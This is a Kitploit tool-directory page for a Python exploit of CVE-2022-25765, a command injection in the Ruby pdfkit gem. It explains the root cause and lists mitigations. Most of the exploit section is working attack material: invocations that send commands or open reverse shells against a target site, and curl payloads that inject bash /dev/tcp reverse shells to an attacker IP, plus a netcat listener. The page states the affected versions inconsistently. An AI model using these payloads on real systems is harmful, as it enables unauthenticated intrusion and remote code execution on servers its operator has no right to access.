Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2022-25765-exploit — Python exploit for CVE-2022-25765 command injection in pdfkit, enabling remote code execution via crafted URLs with reverse shell and custom command modes. | Kitploit
Tools/GitHubGitHub/jeanback1/cve-2022-25765-exploit
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingCommand and Control
GitHubjeanback1/cve-2022-25765-exploit

CVE-2022-25765-exploit

Python exploit for CVE-2022-25765 command injection in pdfkit, enabling remote code execution via crafted URLs with reverse shell and custom command modes.

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
View Repository
64 months agoNot yet reviewed
Share

CVE-2022-25765 — Command Injection in pdfkit

Description

CVE-2022-25765 is a command injection vulnerability affecting pdfkit (Ruby gem) in versions < 0.8.7.2. The vulnerability has a CRITICAL severity with CVSS 9.8, as it allows remote command execution without authentication.

The problem lies in that pdfkit passes the url parameter directly to the shell without sanitization. The library internally executes wkhtmltopdf with a command similar to:

system("wkhtmltopdf --quiet ... '#{url}' output.pdf")

If the URL contains %20 (URL-encoded space) followed by backticks ` or $(), the shell interprets the content as a command and executes it.

CVSS 3.1: 9.8 (CRITICAL) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H


Technical Details

FieldValue
CVECVE-2022-25765
Productpdfkit (Ruby gem)
Affected Versions0.0.0 – 0.8.7.2
TypeCommand Injection (CWE-78)
AuthenticationNot required
CVSS 3.19.8 CRITICAL
Patchpdfkit ≥ 0.8.7.2

Root Cause

The vulnerable code in pdfkit (source.rb:44-50):

def command
  args = @options.map { |k, v| "--#{k} #{v}" }.join(' ')
  "wkhtmltopdf #{args} \"#{@source.to_s}\" -"
end

The URL is directly interpolated into the shell command without sanitization. By including %20 (space), the content after the space escapes the context of the wkhtmltopdf argument, and a ` or $() allows arbitrary command execution.


Exploit

Original Author

UNICORDev (@NicPWNs and @Dev-Yeoj)

The original exploit is located at:

  • GitHub — UNICORDev/exploit-CVE-2022-25765
  • Exploit-DB #51293

Requirements

  • Python 3
  • requests, urllib3
pip install -r requirements.txt

Usage

# Modo comando personalizado (genera payload)
python3 exploit-CVE-2022-25765.py -c "whoami"

# Modo reverse shell (genera payload)
python3 exploit-CVE-2022-25765.py -s 10.10.14.5 4444

# Modo web — enviar comando directamente al sitio vulnerable
python3 exploit-CVE-2022-25765.py -c "id" -w http://target.com/ -p url

# Modo web — reverse shell directa al sitio vulnerable
python3 exploit-CVE-2022-25765.py -s 10.10.14.5 4444 -w http://target.com/ -p url

# Ayuda
python3 exploit-CVE-2022-25765.py -h

Parameters

ParameterDescription
-cCustom command
-s <IP> <PORT>Reverse shell mode
-w <URL>URL of the vulnerable website (optional)
-p <param>POST parameter (optional, default: url)
-hHelp

Manual Payload Examples

# Inyección via curl
curl -X POST http://target.com/ \
  -d "url=http://10.10.14.5/%20\`bash -c 'bash -i >& /dev/tcp/10.10.14.5/4444 0>&1'\`"

# O usando $() en lugar de backticks
curl -X POST http://target.com/ \
  -d "url=http://10.10.14.5/%20\$(bash -c 'bash -i >& /dev/tcp/10.10.14.5/4444 0>&1')"

# Comando simple
curl -X POST http://target.com/ \
  -d "url=http://10.10.14.5/%20\`id\`"

Identification

To identify if a server is vulnerable:

  1. Send a controlled URL and observe the HTTP callback
  2. Check the metadata of the generated PDF: Creator: pdfkit v0.8.6
# Enviar URL y recibir callback
curl -X POST http://target.com/ -d "url=http://TU_IP:4444/test"
# Listener: nc -lnvp 4444
# Si recibes la petición con User-Agent: wkhtmltopdf, la app convierte PDFs

# Verificar versión en metadatos del PDF
curl -s http://target.com/ -X POST --data-urlencode "url=http://example.com" -o output.pdf
pdfinfo output.pdf | grep Creator
# Buscar: "Generated by pdfkit v0.8.6" (vulnerable)

Mitigation

  • Update pdfkit to version ≥ 0.8.7.2
  • If updating is not possible, sanitize the url parameter to remove dangerous characters (`, $(), %20)
  • Implement a whitelist of URLs or use a third-party API for PDF generation

References

  • NVD — CVE-2022-25765
  • CVE-2022-25765 on GitHub
  • Exploit-DB #51293
  • Snyk Advisory — SNYK-RUBY-PDFKIT-2869795
  • pdfkit GitHub (original)
Download Tool